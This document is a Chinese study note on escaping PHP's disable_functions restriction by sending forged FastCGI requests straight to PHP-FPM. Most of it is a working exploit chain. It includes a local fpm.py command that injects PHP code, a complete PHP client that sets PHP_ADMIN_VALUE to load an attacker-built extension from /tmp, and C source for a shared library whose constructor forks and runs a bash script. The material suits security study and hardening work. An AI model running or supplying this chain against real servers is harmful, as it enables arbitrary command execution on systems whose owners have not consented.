学习-bypass-php-FastCGI PHPFPM
bypass-php-FastCGI PHPFPM
参考资料:
https://www.anquanke.com/post/id/197745#h3-5 PHP 突破 disable_functions 常用姿势以及使用 Fuzz 挖掘含内部系统调用的函数
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
https://meizjm3i.github.io/2019/06/11/0CTF-TCTF-2019-Web-Writeup/ 有个payload
名称解释
FastCGI 是用于将交互式程序与 Web 服务器接口的二进制协议
。FastCGI 是早期的通用网关接口(CGI)的变体。FastCGI 的主要目的是减少与Web服务器和 CGI 程序接口相关的开销,从而使服务器可以一次处理更多的网页请求。
PHP-FPM( FastCGI 进程管理器
)是另一种 PHP FastCGI 实现,具有一些其他功能,可用于各种规模的站点,尤其是繁忙的站点。PHP-FPM 也是用于调度管理 PHP 解析器php-cgi 的管理程序,php-cgi 作为 PHP 自带的解释器,只是个 CGI 程序,除了解析请求返回结果之外,并不能管理进程,也就无法做到修改 php.ini 配置文件后平滑重启
即 FastCGI 是 CGI 协议的升级版,用于封装 webserver 发送给 php 解释器的数据,通过 PHP-FPM 程序按照 FastCGI 协议进行处理和解析数据,返回结果给 webserver
简单使用
伪造请求发送给 PHP-FPM 不就可以任意代码执行
脚本:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
本地测试
python fpm.py -c '<?php echo `id`;exit;?>' -p 9999 127.0.0.1 /var/www/html/test.php
理解
1.webserver接收到用户发来的请求,放到后端语言处理。此时后端编程语言可能各不一样。所以 FastCGI协议 出现了,规定大家同一的调用方式
2.FastCGI协议封装请求发送到后端,此时后端语言是php,就发送到了PHP-FPM
3.后端处理好了数据,结果返还给webserver
bypass的原理是
我们自己通过FastCGI协议去和PHP-FPM(因该是php解释器?)进行通信,让PHP-FPM进行相应操作
因为PHP-FPM,PHP语言有很多特性,可以在加载php文件前加载扩展,所以利用点在这个扩展里
利用
<?php
class Client
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const RESPONDER = 1;
protected $keepAlive = false;
protected $_requests = array();
protected $_requestCounter = 0;
protected function buildPacket($type, $content, $requestId = 1)
{
$offset = 0;
$totLen = strlen($content);
$buf = '';
do {
// Packets can be a maximum of 65535 bytes
$part = substr($content, $offset, 0xffff - 8);
$segLen = strlen($part);
$buf .= chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($segLen >> 8) & 0xFF) /* contentLengthB1 */
. chr($segLen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $part; /* content */
$offset += $segLen;
} while ($offset < $totLen);
return $buf;
}
protected function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
protected function readNvpair($data, $length = null)
{
if ($length === null) {
$length = strlen($data);
}
$array = array();
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
public function buildAllPacket(array $params, $stdin)
{
// Ensure new requestID is not already being tracked
do {
$this->_requestCounter++;
if ($this->_requestCounter >= 65536 /* or (1 << 16) */) {
$this->_requestCounter = 1;
}
$id = $this->_requestCounter;
} while (isset($this->_requests[$id]));
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->keepAlive) . str_repeat(chr(0), 5), $id);
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value, $id);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest, $id);
}
$request .= $this->buildPacket(self::PARAMS, '', $id);
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin, $id);
}
$request .= $this->buildPacket(self::STDIN, '', $id);
return $request;
}
}
$sock = stream_socket_client("unix:///tmp/php-cgi-70.sock", $errno, $errstr); //linux下的sock连接文件(主要看配置)
$client = new Client();
$payload_file = "/www/wwwroot/xxxx.co/public/index.php"; //只要是网站的php文件就行
$params = array(
'REQUEST_METHOD' => 'GET',
'SCRIPT_FILENAME' => $payload_file,
'PHP_ADMIN_VALUE' => "extension_dir = /tmp\nextension = ext.so", //自己编译的动态链接库
);
$data = $client->buildAllPacket($params, '');
fwrite($sock, $data);
var_dump(fread($sock, 4096));
gcc -o ext.so ext.c -fPIC -shared
tesr@ubuntu:~$ cat ext.c
#include <unistd.h>
__attribute__((constructor)) void rawt() {
if (fork() == 0) {
execl("/bin/bash", "bash", "/tmp/run.sh", NULL);
}
}
效果:访问上面的php文件,建立和fastcgi的通信,提前加载动态链接库执行命令 (/tmp/run.sh 不需要chmod +x也行)